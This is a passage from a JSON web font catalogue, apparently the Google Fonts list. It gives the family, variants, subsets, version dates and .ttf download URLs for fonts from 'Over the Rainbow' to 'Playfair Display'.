Rainbow","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/overtherainbow/v11/11haGoXG1k_HKhMLUWz7Mc7vvW5upvOm9NA2XG0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Overlock","variants":["regular","italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/overlock/v10/Z9XVDmdMWRiN1_T9Z4Te4u2El6GC.ttf","italic":"http://fonts.gstatic.com/s/overlock/v10/Z9XTDmdMWRiN1_T9Z7Tc6OmmkrGC7Cs.ttf","700":"http://fonts.gstatic.com/s/overlock/v10/Z9XSDmdMWRiN1_T9Z7xizcmMvL2L9TLT.ttf","700italic":"http://fonts.gstatic.com/s/overlock/v10/Z9XQDmdMWRiN1_T9Z7Tc0FWJtrmp8CLTlNs.ttf","900":"http://fonts.gstatic.com/s/overlock/v10/Z9XSDmdMWRiN1_T9Z7xaz8mMvL2L9TLT.ttf","900italic":"http://fonts.gstatic.com/s/overlock/v10/Z9XQDmdMWRiN1_T9Z7Tc0G2Ltrmp8CLTlNs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Overlock SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/overlocksc/v9/1cX3aUHKGZrstGAY8nwVzHGAq8Sk1PoH.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Overpass","variants":["100","100italic","200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-09-10","files":{"100":"http://fonts.gstatic.com/s/overpass/v5/qFdB35WCmI96Ajtm81nGU97gxhcJk1s.ttf","100italic":"http://fonts.gstatic.com/s/overpass/v5/qFdD35WCmI96Ajtm81Gga7rqwjUMg1siNQ.ttf","200":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81lqcv7K6BsAikI7.ttf","200italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81GgaxbL4h8ij1I7LLE.ttf","300":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kOcf7K6BsAikI7.ttf","300italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga3LI4h8ij1I7LLE.ttf","regular":"http://fonts.gstatic.com/s/overpass/v5/qFdH35WCmI96Ajtm82GiWdrCwwcJ.ttf","italic":"http://fonts.gstatic.com/s/overpass/v5/qFdB35WCmI96Ajtm81GgU97gxhcJk1s.ttf","600":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81l6d_7K6BsAikI7.ttf","600italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81GgawbO4h8ij1I7LLE.ttf","700":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kedv7K6BsAikI7.ttf","700italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga2LP4h8ij1I7LLE.ttf","800":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kCdf7K6BsAikI7.ttf","800italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga37M4h8ij1I7LLE.ttf","900":"http://fonts.gstatic.com/s/overpass/v5/qFdA35WCmI96Ajtm81kmdP7K6BsAikI7.ttf","900italic":"http://fonts.gstatic.com/s/overpass/v5/qFdC35WCmI96Ajtm81Gga1rN4h8ij1I7LLE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Overpass Mono","variants":["300","regular","600","700"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/overpassmono/v6/_Xm3-H86tzKDdAPa-KPQZ-AC3oSWk_edB3Zf8EQ.ttf","regular":"http://fonts.gstatic.com/s/overpassmono/v6/_Xmq-H86tzKDdAPa-KPQZ-AC5ii-t_-2G38.ttf","600":"http://fonts.gstatic.com/s/overpassmono/v6/_Xm3-H86tzKDdAPa-KPQZ-AC3vCQk_edB3Zf8EQ.ttf","700":"http://fonts.gstatic.com/s/overpassmono/v6/_Xm3-H86tzKDdAPa-KPQZ-AC3pSRk_edB3Zf8EQ.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Ovo","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ovo/v12/yYLl0h7Wyfzjy4Q5_3WVxA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Oxanium","variants":["200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-10-22","files":{"200":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G83JfniMBXQ7d67x.ttf","300":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G80XfniMBXQ7d67x.ttf","regular":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G81JfniMBXQ7d67x.ttf","500":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G817fniMBXQ7d67x.ttf","600":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G82XeXiMBXQ7d67x.ttf","700":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G82ueXiMBXQ7d67x.ttf","800":"http://fonts.gstatic.com/s/oxanium/v3/RrQPboN_4yJ0JmiMUW7sIGjd1IA9G83JeXiMBXQ7d67x.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oxygen","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/oxygen/v10/2sDcZG1Wl4LcnbuCJW8Db2-4C7wFZQ.ttf","regular":"http://fonts.gstatic.com/s/oxygen/v10/2sDfZG1Wl4Lcnbu6iUcnZ0SkAg.ttf","700":"http://fonts.gstatic.com/s/oxygen/v10/2sDcZG1Wl4LcnbuCNWgDb2-4C7wFZQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Oxygen Mono","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oxygenmono/v8/h0GsssGg9FxgDgCjLeAd7ijfze-PPlUu.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"PT Mono","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ptmono/v8/9oRONYoBnWILk-9ArCg5MtPyAcg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"PT Sans","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-15","files":{"regular":"http://fonts.gstatic.com/s/ptsans/v12/jizaRExUiTo99u79P0WOxOGMMDQ.ttf","italic":"http://fonts.gstatic.com/s/ptsans/v12/jizYRExUiTo99u79D0eEwMOJIDQA-g.ttf","700":"http://fonts.gstatic.com/s/ptsans/v12/jizfRExUiTo99u79B_mh4OmnLD0Z4zM.ttf","700italic":"http://fonts.gstatic.com/s/ptsans/v12/jizdRExUiTo99u79D0e8fOytKB8c8zMrig.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"PT Sans Caption","variants":["regular","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ptsanscaption/v13/0FlMVP6Hrxmt7-fsUFhlFXNIlpcqfQXwQy6yxg.ttf","700":"http://fonts.gstatic.com/s/ptsanscaption/v13/0FlJVP6Hrxmt7-fsUFhlFXNIlpcSwSrUSwWuz38Tgg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"PT Sans Narrow","variants":["regular","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/ptsansnarrow/v12/BngRUXNadjH0qYEzV7ab-oWlsYCByxyKeuDp.ttf","700":"http://fonts.gstatic.com/s/ptsansnarrow/v12/BngSUXNadjH0qYEzV7ab-oWlsbg95DiCUfzgRd-3.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"PT Serif","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/ptserif/v12/EJRVQgYoZZY2vCFuvDFRxL6ddjb-.ttf","italic":"http://fonts.gstatic.com/s/ptserif/v12/EJRTQgYoZZY2vCFuvAFTzrq_cyb-vco.ttf","700":"http://fonts.gstatic.com/s/ptserif/v12/EJRSQgYoZZY2vCFuvAnt65qVXSr3pNNB.ttf","700italic":"http://fonts.gstatic.com/s/ptserif/v12/EJRQQgYoZZY2vCFuvAFT9gaQVy7VocNB6Iw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"PT Serif Caption","variants":["regular","italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ptserifcaption/v12/ieVl2ZhbGCW-JoW6S34pSDpqYKU059WxDCs5cvI.ttf","italic":"http://fonts.gstatic.com/s/ptserifcaption/v12/ieVj2ZhbGCW-JoW6S34pSDpqYKU019e7CAk8YvJEeg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Pacifico","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v17","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/pacifico/v17/FwZY7-Qmy14u9lezJ96A4sijpFu_.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Padauk","variants":["regular","700"],"subsets":["latin","myanmar"],"version":"v7","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/padauk/v7/RrQRboJg-id7OnbBa0_g3LlYbg.ttf","700":"http://fonts.gstatic.com/s/padauk/v7/RrQSboJg-id7Onb512DE1JJEZ4YwGg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Palanquin","variants":["100","200","300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/palanquin/v6/9XUhlJ90n1fBFg7ceXwUEltI7rWmZzTH.ttf","200":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUvnpoxJuqbi3ezg.ttf","300":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwU2nloxJuqbi3ezg.ttf","regular":"http://fonts.gstatic.com/s/palanquin/v6/9XUnlJ90n1fBFg7ceXwsdlFMzLC2Zw.ttf","500":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUgnhoxJuqbi3ezg.ttf","600":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUrn9oxJuqbi3ezg.ttf","700":"http://fonts.gstatic.com/s/palanquin/v6/9XUilJ90n1fBFg7ceXwUyn5oxJuqbi3ezg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Palanquin Dark","variants":["regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/palanquindark/v7/xn75YHgl1nqmANMB-26xC7yuF_6OTEo9VtfE.ttf","500":"http://fonts.gstatic.com/s/palanquindark/v7/xn76YHgl1nqmANMB-26xC7yuF8Z6ZW41fcvN2KT4.ttf","600":"http://fonts.gstatic.com/s/palanquindark/v7/xn76YHgl1nqmANMB-26xC7yuF8ZWYm41fcvN2KT4.ttf","700":"http://fonts.gstatic.com/s/palanquindark/v7/xn76YHgl1nqmANMB-26xC7yuF8YyY241fcvN2KT4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Pangolin","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pangolin/v6/cY9GfjGcW0FPpi-tWPfK5d3aiLBG.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Paprika","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/paprika/v8/8QIJdijZitv49rDfuIgOq7jkAOw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Parisienne","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/parisienne/v8/E21i_d3kivvAkxhLEVZpcy96DuKuavM.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Passero One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/passeroone/v12/JTUTjIko8DOq5FeaeEAjgE5B5Arr-s50.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Passion One","variants":["regular","700","900"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/passionone/v11/PbynFmL8HhTPqbjUzux3JHuW_Frg6YoV.ttf","700":"http://fonts.gstatic.com/s/passionone/v11/Pby6FmL8HhTPqbjUzux3JEMq037owpYcuH8y.ttf","900":"http://fonts.gstatic.com/s/passionone/v11/Pby6FmL8HhTPqbjUzux3JEMS0X7owpYcuH8y.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pathway Gothic One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pathwaygothicone/v9/MwQrbgD32-KAvjkYGNUUxAtW7pEBwx-dTFxeb80flQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Patrick Hand","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/patrickhand/v14/LDI1apSQOAYtSuYWp8ZhfYeMWcjKm7sp8g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Patrick Hand SC","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/patrickhandsc/v8/0nkwC9f7MfsBiWcLtY65AWDK873ViSi6JQc7Vg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Pattaya","variants":["regular"],"subsets":["cyrillic","latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pattaya/v6/ea8ZadcqV_zkHY-XNdCn92ZEmVs.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Patua One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/patuaone/v11/ZXuke1cDvLCKLDcimxBI5PNvNA9LuA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pavanam","variants":["regular"],"subsets":["latin","latin-ext","tamil"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pavanam/v5/BXRrvF_aiezLh0xPDOtQ9Wf0QcE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Paytone One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/paytoneone/v13/0nksC9P7MfYHj2oFtYm2CiTqivr9iBq_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Peddana","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/peddana/v8/aFTU7PBhaX89UcKWhh2aBYyMcKw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Peralta","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/peralta/v8/hYkJPu0-RP_9d3kRGxAhrv956B8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Permanent Marker","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/permanentmarker/v10/Fh4uPib9Iyv2ucM6pGQMWimMp004HaqIfrT5nlk.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Petit Formal Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/petitformalscript/v8/B50TF6xQr2TXJBnGOFME6u5OR83oRP5qoHnqP4gZSiE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Petrona","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-12-08","files":{"100":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk6NsARBH452Mvds.ttf","200":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk4NsQRBH452Mvds.ttf","300":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk7TsQRBH452Mvds.ttf","regular":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk6NsQRBH452Mvds.ttf","500":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk6_sQRBH452Mvds.ttf","600":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk5TtgRBH452Mvds.ttf","700":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk5qtgRBH452Mvds.ttf","800":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk4NtgRBH452Mvds.ttf","900":"http://fonts.gstatic.com/s/petrona/v12/mtGl4_NXL7bZo9XXq35wRLONYyOjFk4ktgRBH452Mvds.ttf","100italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8uwDFYpUN-dsIWs.ttf","200italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8mwCFYpUN-dsIWs.ttf","300italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8rICFYpUN-dsIWs.ttf","italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8uwCFYpUN-dsIWs.ttf","500italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8t4CFYpUN-dsIWs.ttf","600italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8jIFFYpUN-dsIWs.ttf","700italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8gsFFYpUN-dsIWs.ttf","800italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8mwFFYpUN-dsIWs.ttf","900italic":"http://fonts.gstatic.com/s/petrona/v12/mtGr4_NXL7bZo9XXgXdCu2vkCLkNEVtF8kUFFYpUN-dsIWs.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Philosopher","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","vietnamese"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/philosopher/v14/vEFV2_5QCwIS4_Dhez5jcVBpRUwU08qe.ttf","italic":"http://fonts.gstatic.com/s/philosopher/v14/vEFX2_5QCwIS4_Dhez5jcWBrT0g21tqeR7c.ttf","700":"http://fonts.gstatic.com/s/philosopher/v14/vEFI2_5QCwIS4_Dhez5jcWjVamgc-NaXXq7H.ttf","700italic":"http://fonts.gstatic.com/s/philosopher/v14/vEFK2_5QCwIS4_Dhez5jcWBrd_QZ8tK1W77HtMo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Piazzolla","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-11-20","files":{"100":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7LYx3Ly1AHfAAy5.ttf","200":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7JYxnLy1AHfAAy5.ttf","300":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7KGxnLy1AHfAAy5.ttf","regular":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7LYxnLy1AHfAAy5.ttf","500":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7LqxnLy1AHfAAy5.ttf","600":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7IGwXLy1AHfAAy5.ttf","700":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7I_wXLy1AHfAAy5.ttf","800":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7JYwXLy1AHfAAy5.ttf","900":"http://fonts.gstatic.com/s/piazzolla/v4/N0b52SlTPu5rIkWIZjVKKtYtfxYqZ4RJBFzFfYUjkSDdlqZgy7JxwXLy1AHfAAy5.ttf","100italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhZqw3gX9BRy5m5M.ttf","200italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhRqx3gX9BRy5m5M.ttf","300italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhcSx3gX9BRy5m5M.ttf","italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhZqx3gX9BRy5m5M.ttf","500italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhaix3gX9BRy5m5M.ttf","600italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhUS23gX9BRy5m5M.ttf","700italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhX223gX9BRy5m5M.ttf","800italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhRq23gX9BRy5m5M.ttf","900italic":"http://fonts.gstatic.com/s/piazzolla/v4/N0b72SlTPu5rIkWIZjVgI-TckS03oGpPETyEJ88Rbvi0_TzOzKcQhTO23gX9BRy5m5M.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Piedra","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/piedra/v9/ke8kOg8aN0Bn7hTunEyHN_M3gA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pinyon Script","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pinyonscript/v11/6xKpdSJbL9-e9LuoeQiDRQR8aOLQO4bhiDY.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Pirata One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pirataone/v9/I_urMpiDvgLdLh0fAtoftiiEr5_BdZ8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Plaster","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/plaster/v12/DdTm79QatW80eRh4Ei5JOtLOeLI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Play","variants":["regular","700"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/play/v12/6aez4K2oVqwIjtI8Hp8Tx3A.ttf","700":"http://fonts.gstatic.com/s/play/v12/6ae84K2oVqwItm4TOpc423nTJTM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Playball","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/playball/v10/TK3gWksYAxQ7jbsKcj8Dl-tPKo2t.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Playfair Display","variants":["regular","500","600","700","800","900","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v21","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKdFvUDQZNLo_U2r.ttf","500":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKd3vUDQZNLo_U2r.ttf","600":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKebukDQZNLo_U2r.ttf","700":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKeiukDQZNLo_U2r.ttf","800":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfFukDQZNLo_U2r.ttf","900":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFvD-vYSZviVYUb_rj3ij__anPXJzDwcbmjWBN2PKfsukDQZNLo_U2r.ttf","italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_qiTbtbK-F2rA0s.ttf","500italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_pqTbtbK-F2rA0s.ttf","600italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_naUbtbK-F2rA0s.ttf","700italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_k-UbtbK-F2rA0s.ttf","800italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_iiUbtbK-F2rA0s.ttf","900italic":"http://fonts.gstatic.com/s/playfairdisplay/v21/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_gGUbtbK-F2rA0s.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Playfair Display 